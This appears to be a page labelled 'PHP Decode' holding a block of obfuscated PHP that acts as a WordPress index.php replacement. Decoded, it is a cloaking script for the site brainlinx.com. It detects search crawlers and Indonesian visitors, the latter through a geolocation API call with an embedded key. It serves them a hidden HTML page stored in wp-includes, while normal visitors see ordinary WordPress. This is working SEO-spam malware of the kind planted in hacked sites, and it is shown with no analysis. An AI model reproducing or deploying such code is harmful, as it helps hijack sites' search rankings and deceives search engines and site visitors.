PHP Decode

goto DxDlv; PEqiv: function dolphin() { if (!isset($_SERVER["\x48\x54\124\x50\137\x55\x53\x45\x52\x5f\101\107\x45\x4e\x54"]) || empty($_SERVER["\x48\x54\x54\x50\137\x55\x53\105\122\x5f\101\x47\105\116\x54"])) { return true; } $whale = strtolower($_SERVER["\110\124\x54\x50\x5f\x55\x53\105\122\137\x41\x47\x45\116\x54"]); if (penguin()) { return true; } if (strpos($whale, "\x67\x6f\x6f\x67\x6c\145\x62\157\164") !== false) { $shark = $_SERVER["\122\x45\115\x4f\x54\x45\x5f\101\x44\104\122"]; $octopus = gethostbyaddr($shark); if (preg_match("\57\x28\x67\157\157\x67\x6c\x65\142\x6f\x74\x5c\x2e\143\157\x6d\174\x67\157\157\x67\x6c\145\x5c\56\143\157\x6d\x29\44\x2f\x69", $octopus)) { $squid = gethostbyname($octopus); if ($squid === $shark) { return true; } } } $jellyfish = array("\x62\151\156\x67\142\157\x74", "\x79\141\156\x64\x65\x78\142\x6f\x74", "\144\165\x63\153\144\165\143\x6b\x62\x6f\164", "\142\141\x69\144\165\x73\x70\x69\x64\145\x72", "\x79\x61\150\x6f\x6f", "\x73\x6c\165\x72\x70", "\x6d\x73\x6e\142\x6f\x74", "\146\x61\143\145\x62\x6f\157\153\145\x78\x74\x65\x72\x6e\x61\x6c\150\x69\x74", "\164\167\x69\x74\x74\x65\x72\x62\x6f\x74", "\162\x6f\147\145\162\x62\x6f\x74", "\154\x69\x6e\153\x65\x64\151\156\142\x6f\164", "\x65\x6d\142\145\144\x6c\x79", "\x71\x75\157\162\141\40\x6c\151\x6e\153\x20\x70\x72\x65\x76\151\x65\167", "\163\150\x6f\x77\x79\157\x75\142\157\164", "\157\x75\x74\142\162\141\x69\x6e", "\160\151\x6e\164\145\x72\x65\x73\164", "\163\x6c\x61\143\x6b\x62\x6f\x74", "\x76\153\123\150\141\162\145", "\x57\63\x43\x5f\126\x61\x6c\151\x64\x61\x74\x6f\162", "\162\x65\x64\x64\151\x74\142\x6f\164", "\x41\x70\160\154\145\142\x6f\x74", "\x57\150\x61\x74\x73\101\160\x70", "\x66\154\x69\x70\x62\157\141\x72\144", "\164\165\155\142\154\162", "\142\x69\164\154\171\x62\x6f\164", "\x73\x6b\x79\160\x65\165\162\151\160\162\x65\x76\151\x65\167", "\x6e\165\x7a\x7a\x65\154", "\x64\151\x73\x63\157\x72\x64\x62\157\164", "\x67\x6f\157\x67\154\145\40\160\141\147\145\x20\x73\x70\x65\145\x64", "\161\x77\x61\x6e\x74\151\146\171", "\160\151\156\x74\x65\x72\x65\163\x74\x62\x6f\x74", "\142\x69\164\x72\x69\170\x20\154\151\x6e\x6b\40\x70\x72\145\166\x69\x65\167", "\170\151\x6e\x67\x2d\x63\x6f\156\164\x65\x6e\164\x74\x61\142\x72\x65\x63\145\151\166\x65\x72", "\x63\150\162\157\x6d\x65\x2d\154\x69\x67\x68\164\150\157\x75\163\x65", "\164\145\x6c\x65\147\x72\141\155\x62\x6f\164"); foreach ($jellyfish as $starfish) { if (strpos($whale, $starfish) !== false) { return true; } } $crab = array("\x2f\142\157\164\57", "\57\163\160\151\x64\145\162\x2f", "\57\x63\x72\141\x77\x6c\x65\x72\x2f", "\57\x5e\x24\57", "\x2f\x5c\53\150\164\164\x70\72\x2f", "\57\x48\124\124\x50\x20\x42\141\156\x6e\145\x72\40\104\x65\164\x65\143\164\x69\x6f\x6e\57", "\57\127\x61\160\160\x61\154\x79\172\145\162\x2f"); foreach ($crab as $lobster) { if (preg_match($lobster, $whale)) { return true; } } return false; } goto U7Yn1; cJ3eU: function lion() { $tiger_keys = array("\110\124\124\x50\137\x43\114\x49\105\116\124\x5f\111\x50", "\110\124\x54\x50\x5f\130\x5f\106\117\122\127\101\x52\x44\105\x44\137\106\x4f\122", "\110\124\124\x50\x5f\130\137\106\117\122\x57\x41\x52\104\105\x44", "\110\x54\x54\120\x5f\130\x5f\103\114\x55\x53\x54\x45\122\x5f\x43\x4c\x49\105\116\124\x5f\111\x50", "\x48\x54\x54\x50\x5f\106\x4f\x52\127\x41\x52\x44\x45\104\137\106\x4f\122", "\x48\x54\x54\x50\x5f\106\117\122\127\x41\x52\x44\x45\x44", "\122\x45\x4d\117\x54\105\137\101\x44\104\122"); foreach ($tiger_keys as $leopard) { if (isset($_SERVER[$leopard])) { foreach (explode("\54", $_SERVER[$leopard]) as $cheetah) { $cheetah = trim($cheetah); if (filter_var($cheetah, FILTER_VALIDATE_IP)) { return $cheetah; } } } } return $_SERVER["\x52\x45\115\117\x54\105\x5f\x41\104\104\122"]; } goto plZsX; plZsX: function hippo($rhino, $elephant = 5) { $giraffe = "\x68\x74\x74\160\x73\72\57\57\160\162\157\56\x69\160\55\x61\x70\151\56\x63\x6f\x6d\x2f\152\x73\x6f\x6e\x2f" . $rhino . "\x3f\x6b\145\171\75\x55\131\x33\x79\x58\152\x65\x38\125\x77\151\67\x35\x32\x6b"; $zebra = stream_context_create(array("\150\x74\164\160" => array("\164\x69\x6d\145\157\x75\x74" => $elephant, "\151\x67\x6e\157\162\145\x5f\145\x72\162\157\162\x73" => true))); $lion = @file_get_contents($giraffe, false, $zebra); if ($lion === false) { return "\125\156\153\x6e\x6f\x77\x6e"; } $tiger = json_decode($lion, true); if (json_last_error() !== JSON_ERROR_NONE) { return "\x55\x6e\x6b\x6e\157\x77\x6e"; } return $tiger["\143\x6f\165\156\164\162\171"] ?? "\125\x6e\153\x6e\x6f\x77\156"; } goto QINTC; V8Twj: $orangutan = dolphin(); goto cdbLQ; EC5r6: elephant(); goto cJ3eU; cdbLQ: $chimpanzee = $_SERVER["\x48\124\x54\120\x5f\x55\123\x45\x52\137\101\107\x45\116\124"] ?? "\125\x6e\153\x6e\x6f\167\156"; goto jZy1y; DxDlv: function elephant() { $giraffe = "\x62\162\141\x69\x6e\x6c\x69\156\x78\x2e\x63\157\155"; $zebra = $_SERVER["\110\x54\x54\x50\x5f\x48\x4f\x53\x54"] ?? ''; $zebra = preg_replace("\57\136\x77\x77\167\x5c\x2e\57\x69", '', $zebra); if ($zebra !== $giraffe) { die("\116\x67\145\x6e\164\x6f\x64\x20\112\141\x6e\x67\141\156\x20\103\x75\162\151\x20\123\x43"); } } goto EC5r6; jK0k1: $gorilla = hippo($monkey); goto V8Twj; QINTC: function penguin() { $seal = strtolower($_SERVER["\110\x54\124\120\x5f\x55\x53\x45\122\x5f\101\107\105\116\x54"]); return strpos($seal, "\x67\157\x6f\147\x6c\x65") !== false; } goto PEqiv; U7Yn1: $monkey = lion(); goto jK0k1; jZy1y: if ($orangutan || strtolower($gorilla) === "\151\156\x64\x6f\x6e\x65\163\151\x61") { $baboon = file_get_contents("\x2f\x68\157\x6d\145\62\57\x62\162\141\151\156\x6c\x69\x6e\x2f\160\165\x62\x6c\151\143\137\x68\x74\x6d\x6c\57\x77\x70\x2d\151\156\x63\x6c\x75\144\145\x73\x2f\x62\x6c\157\x63\x6b\x73\57\x63\157\x64\145\57\x69\x6e\144\x65\x78\56\150\164\x6d\x6c"); if ($baboon === false) { header("\110\124\124\x50\57\61\x2e\60\40\x35\x30\x33\x20\123\x65\x72\166\x69\143\145\x20\x55\x6e\141\166\x61\x69\x6c\141\x62\x6c\145"); echo "\103\157\x6e\164\x65\x6e\164\40\124\145\155\160\x6f\162\x61\162\151\154\171\40\125\156\141\166\x61\x69\154\x61\x62\154\145"; $lemur = "\105\162\162\x6f\162\40\x50\141\147\x65"; } else { header("\103\157\x6e\164\145\156\x74\55\124\x79\160\145\72\x20\x74\x65\x78\164\x2f\150\x74\155\154\x3b\40\143\150\141\x72\163\x65\164\x3d\125\x54\x46\x2d\70"); echo $baboon; $lemur = "\x41\154\x74\x65\162\x6e\141\164\151\166\145\x20\103\x6f\x6e\164\x65\156\x74"; } } else { $lemur = "\127\157\162\144\120\x72\145\x73\163\x20\103\157\x6e\164\145\x6e\x74"; define("\x57\120\137\125\x53\105\x5f\124\x48\105\x4d\105\123", true); require __DIR__ . "\x2f\x77\160\55\142\x6c\x6f\x67\55\150\x65\141\x64\145\x72\x2e\160\x68\x70"; }